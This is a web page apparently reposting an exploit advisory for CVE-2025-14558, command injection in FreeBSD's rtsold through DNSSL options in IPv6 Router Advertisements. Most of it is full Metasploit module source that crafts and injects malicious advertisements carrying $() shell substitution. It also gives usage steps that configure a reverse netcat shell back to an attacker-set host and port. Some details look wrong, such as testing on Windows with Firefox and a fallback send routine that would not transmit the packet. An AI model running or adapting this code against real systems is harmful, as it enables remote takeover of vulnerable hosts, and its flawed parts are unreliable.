Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

FreeBSD 15.x rtsold DNSSL Command Injection
FreeBSD 15.x rtsold DNSSL Command Injection
FreeBSD 15.x rtsold DNSSL Command Injection

=============================================================================================================================================
| # Title FreeBSD 15.x rtsold DNSSL Command Injection

=============================================================================================================================================
| # Title : FreeBSD 15.x rtsold DNSSL Command Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.freebsd.org/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213577/ & CVE-2025-14558

[+] Summary : This Metasploit module targets a command injection vulnerability in the FreeBSD rtsold daemon related to the handling of DNSSL (DNS Search List) options in IPv6 Router Advertisements.
Due to improper validation of domain names, attacker-controlled DNSSL values can inject shell commands via $() substitution when processed by the resolvconf script.
Successful exploitation requires Layer 2 adjacency and ACCEPT_RTADV enabled on the target, and may result in remote command execution on vulnerable FreeBSD systems prior to the official patches.

[+] Usage :

msfconsole
msf> use exploit/bsd/ipv6/rtsold_dnssl_rce
msf> set INTERFACE eth0
msf> set PAYLOAD cmd/unix/reverse_netcat
msf> set LHOST 192.168.1.100
msf> set LPORT 4444
msf> exploit

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Raw
include Msf::Exploit::Remote::Ipv6
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD rtsold DNSSL Command Injection',
'Description' => %q{
This module exploits CVE-2025-14558, a command injection vulnerability in
FreeBSD's rtsold daemon. The vulnerability exists in the processing of
DNSSL (DNS Search List) options in IPv6 Router Advertisements.

rtsold processes DNSSL options without validating domain names for shell
metacharacters. The decoded domains are passed to resolvconf(8), a shell
script that uses unquoted variable expansion, enabling command injection
via $() substitution.

This exploit requires layer 2 adjacency to the target and the target must
be running rtsold with ACCEPT_RTADV enabled.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-14558'],
['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'],
['URL', 'https://github.com/JohannesLks/CVE-2025-14558']
],
'DisclosureDate' => '2025-12-16',
'Platform' => 'bsd',
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '',
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'Targets' => [
['FreeBSD 13.x-15.x (before patches)', {}]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_options([
OptString.new('INTERFACE', [true, 'Network interface to use', 'eth0']),
OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]),
OptInt.new('ROUTER_LIFETIME', [true, 'Router lifetime in seconds', 1800]),
OptString.new('SOURCE_MAC', [false, 'Source MAC address (defaults to interface MAC)']),
OptString.new('SOURCE_IPV6', [false, 'Source IPv6 address', 'fe80::1'])
])

deregister_options('RHOSTS', 'RPORT')
end

def check

Exploit::CheckCode::Unknown
end

def encode_domain(name)
result = ""
name.split(".").each do |label|
next if label.empty?
data = label
result << [data.length].pack('C') + data
end
result << "\x00"
end

def encode_payload(cmd)
payload = "$(#{cmd})"

if payload.length > 63
result = ""
while !payload.empty?
chunk = payload.slice!(0, 63)
result << [chunk.length].pack('C') + chunk
end
result << "\x00"
else
[payload.length].pack('C') + payload + "\x00"
end
end

def build_dnssl_option(cmd, lifetime = 0xFFFFFFFF)
data = encode_domain("x.local") + encode_payload(cmd)

pad_len = (8 - (data.length + 8) % 8) % 8
data << "\x00" * pad_len

length = (8 + data.length) / 8

dnssl = [
31, # Type: DNSSL (31)
length, # Length
0, # Reserved
lifetime # Lifetime
].pack('CCnN')

dnssl + data
end

def build_router_advertisement
src_mac = datastore['SOURCE_MAC']
src_mac ||= get_mac(datastore['INTERFACE'])

eth = PacketFu::EthPacket.new
eth.eth_saddr = src_mac
eth.eth_daddr = "33:33:00:00:00:01" # All-nodes multicast

ipv6 = PacketFu::IPv6Packet.new
ipv6.ipv6_hop = 255
ipv6.ipv6_saddr = datastore['SOURCE_IPV6']
ipv6.ipv6_daddr = "ff02::1" # All-nodes multicast


ra_header = [
134, # Type: Router Advertisement
0, # Code
0, # Checksum (will be calculated later)
64, # Cur Hop Limit
0, # Flags (M=0, O=1)
1800 # Router Lifetime
].pack('CCnCCn')

slaac_opt = [
1, # Type: Source Link-Layer Address
1, # Length in 8-octet units
src_mac.gsub(':', '').scan(/../).map { |x| x.hex }
].flatten.pack('CCa6')

prefix_opt = [
3, # Type: Prefix Information
4, # Length in 8-octet units
64, # Prefix Length
0x80, # Flags (L=1, A=1)
0, # Valid Lifetime
0, # Preferred Lifetime
0, # Reserved
# Prefix: 2001:db8::
0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
].pack('CCCCNNNa16')

dnssl_opt = build_dnssl_option(payload.encoded)

icmp_payload = ra_header + slaac_opt + prefix_opt + dnssl_opt

checksum = ipv6_checksum(ipv6, icmp_payload)
icmp_payload[2, 2] = [checksum].pack('n')

eth.body = ipv6.to_s + icmp_payload
eth
end

def ipv6_checksum(ipv6_packet, payload)

pseudo_header = [
ipv6_packet.ipv6_saddr.split(':').map { |x| x.hex }.pack('n*'),
ipv6_packet.ipv6_daddr.split(':').map { |x| x.hex }.pack('n*'),
payload.length,
0,
58 # ICMPv6 protocol number
].pack('a16a16NNn')

sum = 0
(pseudo_header + payload).unpack('n*').each do |word|
sum += word
end

while sum > 0xffff
sum = (sum & 0xffff) + (sum >> 16)
end

~sum & 0xffff
end

def get_mac(interface)

mac = nil
File.open("/sys/class/net/#{interface}/address", "r") do |f|
mac = f.read.strip
end
mac
rescue
nil
end

def exploit
print_status("Building malicious Router Advertisement...")
packet = build_router_advertisement

print_status("Sending #{datastore['COUNT']} RA packets via #{datastore['INTERFACE']}...")

datastore['COUNT'].times do |i|
begin
send_packet(packet, datastore['INTERFACE'])
print_good("Sent RA packet #{i + 1}/#{datastore['COUNT']}")
sleep 1 if i < datastore['COUNT'] - 1
rescue => e
print_error("Failed to send packet #{i + 1}: #{e.message}")
end
end

print_status("Exploit complete. Check for session.")
end

def send_packet(packet, interface)

pcap = PCAPRUB::Pcap.open_live(interface, 65535, true, 0)
pcap.inject(packet.to_s)
pcap.close
rescue LoadError

system("echo '#{packet.to_s.unpack('H*').first}' | xxd -r -p | sudo ip -6 neigh add ff02::1 dev #{interface} nud permanent")
end
end

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================

Social Media Share